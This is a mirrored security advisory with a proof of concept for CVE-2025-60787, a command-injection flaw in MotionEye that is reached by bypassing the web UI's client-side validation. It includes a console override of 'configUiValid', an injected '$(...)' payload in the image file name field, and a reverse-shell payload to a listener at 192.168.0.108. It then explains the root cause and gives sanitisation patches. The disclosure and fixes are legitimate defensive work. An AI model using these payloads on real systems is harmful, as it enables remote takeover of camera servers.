关联漏洞
描述
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
介绍
# CVE-2025-60787
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Original link: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
# MotionEye RCE via Client-Side Validation Bypass
## Summary
During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on the host container. The issue poses a risk of remote code execution (RCE) if exploited.
**Affected Versions**: All versions up to and including 0.43.1b4
**Patch Status**: No patch available yet. A workaround is given in this advisory.
**project reference**: https://github.com/motioneye-project/motioneye
**CWE**: CWE-20, CWE-78, CWE-116
**CVSS**:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
**CVSS**: 7.2/10
---
## Environment
- Target: MotionEye running in Docker
- Image: `ghcr.io/motioneye-project/motioneye:edge`
- Exposed Port: `9999` mapped to container’s `8765`
- Test Credentials: `admin` / blank password (default)
---
## Steps to Reproduce
### 1. Container Setup
Run the following command to initiate the Docker image download and start the container
```bash
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
```
<img width="746" height="241" alt="image" src="https://github.com/user-attachments/assets/45a4ce9e-9910-402e-9906-ebaf599f4fd1" />
### 2. Version Verification
```bash
docker logs motioneye | grep "motionEye server"
```
**Result:** MotionEye server `0.43.1b4`
<img width="741" height="168" alt="image" src="https://github.com/user-attachments/assets/1b14e8d4-d6d9-4f0c-8465-5b806eaab83f" />
### 3. File System Access
Once the Docker container is running, the container shell can be accessed using the following commands
```bash
docker exec -it motioneye /bin/bash
ls -la /tmp
```
<img width="452" height="128" alt="image" src="https://github.com/user-attachments/assets/fb7f5189-d50d-4c50-ad1e-6bd84622d736" />
### 4. Initial Access
Access web interface at:
http://127.0.0.1:9999
Login: `admin` (blank password)
### 5. Camera Setup
Added sample RTSP network camera.
<img width="1623" height="869" alt="image" src="https://github.com/user-attachments/assets/dcef8d97-062e-408d-bcda-cdd3fd304324" />
### 6. Injection Attempt
A malicious execution command was entered into the “Still Images” > “Image File Name” , but a client-side validation error was encountered.
```bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
Blocked by client-side validation.
<img width="739" height="104" alt="image" src="https://github.com/user-attachments/assets/0cadf3c1-fa84-4719-9ef8-e60a62ccec6b" />
<img width="611" height="90" alt="image" src="https://github.com/user-attachments/assets/0a2ce196-6513-4246-ae0c-0d2472d0fc89" />
### 7. Client-Side Validation Discovery
The following script is responsible for the validation: /static/js/main.js?v=0.43.1b4, which references /static/js/ui.js?v=0.43.1b4 to implement the validation conditions.
File: `/static/js/main.js?v=0.43.1b4` referencing `/static/js/ui.js?v=0.43.1b4`
```javascript
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
```
### 8. Bypass Technique
By overriding the **configUiValid** function in the browser console, all validation checks can be bypassed: Enter below snippet in console of the browser (F12 or Ctrl+Shift+I)
```javascript
configUiValid = function() {
return true;
};
```
<img width="819" height="539" alt="image" src="https://github.com/user-attachments/assets/5256c74d-daf4-4595-bd91-69989f43c5c3" />
### 9. Payload Execution
Now payload can be directly entered without any validation: set as below and Apply the settings
Settings:
- Capture mode = Interval Snapshots
- Interval = 10
- Image File Name:
```bash
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
<img width="565" height="344" alt="image" src="https://github.com/user-attachments/assets/22a7495d-b5e6-4d7a-8cc2-9f0375c17015" />
Applied → File created with **root permissions**.
<img width="554" height="164" alt="image" src="https://github.com/user-attachments/assets/70b2363f-fa1e-47d6-9d39-bdf4693c6929" />
---
## Impact: Weaponizing RCE
simple reverse shell production:
Listener:
```bash
nc -lvnp 4444
```
<img width="303" height="110" alt="image" src="https://github.com/user-attachments/assets/c418d646-52bc-4349-b291-1162f978233c" />
Injected Payload:
```bash
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
```
<img width="1140" height="366" alt="image" src="https://github.com/user-attachments/assets/54ffbcc1-799f-4833-9470-edba112510e5" />
Result: Remote shell obtained.
---
## Root Cause & Flow
MotionEye is vulnerable because it takes user input from the web dashboard and writes it straight into the Motion config files without checking for dangerous characters. For example, the field image_file_name in the UI is sent to the backend (config.py) and saved into /etc/motioneye/camera-<id>.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion process reads this config file. If the picture_filename field contains shell syntax like $(touch /tmp/test), Motion will run it as a real command instead of treating it as part of the filename.
Unsanitized input written into Motion config files:
`Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload`
---
## Prevention
### Sanitization Fix
File: `/usr/local/lib/python3.13/dist-packages/motioneye/config.py`
```python
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value
```
<img width="1109" height="504" alt="image" src="https://github.com/user-attachments/assets/79c3f51b-0523-4199-b4b5-8a265d7fc0d8" />
Apply sanitization:
```python
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
```
before:
<img width="1126" height="471" alt="image" src="https://github.com/user-attachments/assets/1ea2d7e3-5988-4093-86ac-5abb5870ebd5" />
after:
<img width="974" height="471" alt="image" src="https://github.com/user-attachments/assets/44e474eb-e4ec-4787-b023-9e3aa104edb2" />
---
## Alternative Resolution
### Step 1: Run Docker
```bash
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
```
### Step 2: Access Container
```bash
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
```
### Step 3: Modify Config
Original:
```python
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
```
Replace with:
```python
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
```
<img width="1060" height="116" alt="image" src="https://github.com/user-attachments/assets/fa695680-d157-4ad1-8db2-f2f4fa641c05" />
### Step 4: Restart
```bash
docker restart motioneye
```
<img width="539" height="95" alt="image" src="https://github.com/user-attachments/assets/43477fa4-f5b1-4460-b0b4-0f4eebb8f39d" />
---
## Alternative Patch
Inside `motion_camera_ui_to_dict(...)`:
Original:
```python
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
```
Replace with:
```python
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
```
---
文件快照
[4.0K] /data/pocs/06da75b081866b70057bf5ec87961f6f527998c9
└── [8.7K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。